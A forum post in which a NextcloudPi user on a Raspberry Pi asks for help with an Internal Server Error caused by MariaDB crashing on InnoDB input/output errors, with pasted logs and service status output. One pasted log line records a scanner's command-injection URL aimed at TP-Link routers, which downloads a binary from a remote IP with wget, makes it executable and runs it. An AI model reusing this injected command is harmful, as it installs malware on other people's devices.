I am running a nextcloudpi instance on my raspberry pi 4 (8 gb) and it was running without an issue for about 3/4 years. Since last week, when trying to connect to the server, I get the error
Internal Server Error
The server encountered an internal error and was unable to complete your request.
Please contact the server administrator if this error reappears multiple times, please include the technical details below in your report.
More details can be found in the server log.
I tried for two days now to fix the error by googling and asking chatgpt, but I can’t find any solution.
From my understanding, there is an issue with the socket.
The outputs of the nextcloud logs are:
{"reqId":"ZlC2MuYki-ZDhHPyfvbsPAAAABI","level":3,"time":"2024-05-24T15:45:54+00:00","remoteAddr":"103.161.35.67","user":"--","app":"core","method":"GET","url":"/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.142.182.70%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)","message":"Exception thrown: Doctrine\DBAL\Exception","userAgent":"Go-http-client/1.1","version":"28.0.5.1","exception":{"Exception":"Doctrine\DBAL\Exception","Message":"Failed to connect to the database: An exception occurred in the driver: SQLSTATE[HY000] [2002] No such file or directory","Code":2002,"Trace":[{"file":"/var/www/nextcloud/3rdparty/doctrine/dbal/src/Connection.php","line":1654,"function":"connect","class":"OC\DB\Connection","type":"->"},{"file":"/var/www/nextcloud/3rdparty/doctrine/dbal/src/Connection.php","line":1081,"function":"getWrappedConnection","class":"Doctrine\DBAL\Connection","type":"->"},{"file":"/var/www/nextcloud/lib/private/DB/Connection.php","line":261,"function":"executeQuery","class":"Doctrine\DBAL\Connection","type":"->"},{"file":"/var/www/nextcloud/3rdparty/doctrine/dbal/src/Query/QueryBuilder.php","line":341,"function":"executeQuery","class":"OC\DB\Connection","type":"->"},{"file":"/var/www/nextcloud/3rdparty/doctrine/dbal/src/Query/QueryBuilder.php","line":377,"function":"executeQuery","class":"Doctrine\DBAL\Query\QueryBuilder","type":"->"},{"file":"/var/www/nextcloud/lib/private/DB/QueryBuilder/QueryBuilder.php","line":280,"function":"execute","class":"Doctrine\DBAL\Query\QueryBuilder","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppConfig.php","line":421,"function":"execute","class":"OC\DB\QueryBuilder\QueryBuilder","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppConfig.php","line":187,"function":"loadConfigValues","class":"OC\AppConfig","type":"->"},{"file":"/var/www/nextcloud/lib/private/AppConfig.php","line":377,"function":"getApps","class":"OC\AppConfig","type":"->"},{"file":"/var/www/nextcloud/lib/private/legacy/OC_App.php","line":734,"function":"getValues","class":"OC\AppConfig","type":"->"},{"file":"/var/www/nextcloud/lib/private/TemplateLayout.php","line":236,"function":"getAppVersions","class":"OC_App","type":"::"},{"file":"/var/www/nextcloud/lib/private/legacy/OC_Template.php","line":142,"function":"__construct","class":"OC\TemplateLayout","type":"->"},{"file":"/var/www/nextcloud/lib/private/Template/Base.php","line":132,"function":"fetchPage","class":"OC_Template","type":"->"},{"file":"/var/www/nextcloud/lib/private/legacy/OC_Template.php","line":291,"function":"printPage","class":"OC\Template\Base","type":"->"},{"file":"/var/www/nextcloud/index.php","line":104,"function":"printExceptionErrorPage","class":"OC_Template","type":"::"}],"File":"/var/www/nextcloud/lib/private/DB/Connection.php","Line":139,"CustomMessage":"Exception thrown: Doctrine\DBAL\Exception"}}
The nextcloud config says the dbtype is mysql, so I checked the status of this further.
The status of mysql gives me (systemctl status mysql):
mariadb.service - MariaDB 10.5.23 database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
Drop-In: /etc/systemd/system/mariadb.service.d
└─ncp-delay-automount.conf
Active: activating (start-pre) since Fri 2024-05-24 16:51:46 BST; 14s ago
Docs: man:mariadbd(8)
https://mariadb.com/kb/en/library/systemd/
Process: 10391 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=0/SUCCESS)
Process: 10392 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 10394 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR=`cd /usr/bin/..; /usr/bin/galera_recov>
Cntrl PID: 10492 (sleep)
Tasks: 1 (limit: 8755)
CPU: 222ms
CGroup: /system.slice/mariadb.service
└─10492 /bin/sleep 20
When checking the mariadb service, I get (sudo journalctl -u mariadb.service –since “10 minutes ago” | less
) :
May 24 16:46:26 nextcloudpi mariadbd[7986]: 2024-05-24 16:46:26 0 [Warning] InnoDB: Retry attempts for reading partial data failed.
May 24 16:46:26 nextcloudpi mariadbd[7986]: 2024-05-24 16:46:26 0 [ERROR] InnoDB: Operating system error number 5 in a file operation.
May 24 16:46:26 nextcloudpi mariadbd[7986]: 2024-05-24 16:46:26 0 [ERROR] InnoDB: Error number 5 means 'Input/output error'
May 24 16:46:26 nextcloudpi mariadbd[7986]: 2024-05-24 16:46:26 0 [Note] InnoDB: Some operating system error numbers are described at https://mariadb.com/kb/en/library/operating-system-error-codes/
May 24 16:46:26 nextcloudpi mariadbd[7986]: 2024-05-24 16:46:26 0 [ERROR] InnoDB: File (unknown): 'read' returned OS error 205. Cannot continue operation
May 24 16:46:26 nextcloudpi mariadbd[7986]: 240524 16:46:26 [ERROR] mysqld got signal 6 ;
May 24 16:46:26 nextcloudpi mariadbd[7986]: Sorry, we probably made a mistake, and this is a bug.
May 24 16:46:26 nextcloudpi mariadbd[7986]: Your assistance in bug reporting will enable us to fix this for the next release.
May 24 16:46:26 nextcloudpi mariadbd[7986]: To report this bug, see https://mariadb.com/kb/en/reporting-bugs
May 24 16:46:26 nextcloudpi mariadbd[7986]: We will try our best to scrape up some info that will hopefully help
May 24 16:46:26 nextcloudpi mariadbd[7986]: diagnose the problem, but since we have already crashed,
May 24 16:46:26 nextcloudpi mariadbd[7986]: something is definitely wrong and this may fail.
May 24 16:46:26 nextcloudpi mariadbd[7986]: Server version: 10.5.23-MariaDB-0+deb11u1 source revision: 6cfd2ba397b0ca689d8ff1bdb9fc4a4dc516a5eb
and when I just try to login to mysql (mysql -u root) I get:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/run/mysqld/mysqld.sock' (2)
I know this is a lot, and I am very grateful for anybody that has an idea of how to fix this error.
Thank you a lot 🙂
I tried to fix it by specifically naming the socket in the mysql config (sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf) file with
[mysqld]
socket=/run/mysqld/mysqld.sock
and restarting the device. Restarting the services mariadb and mysql result in the socket error.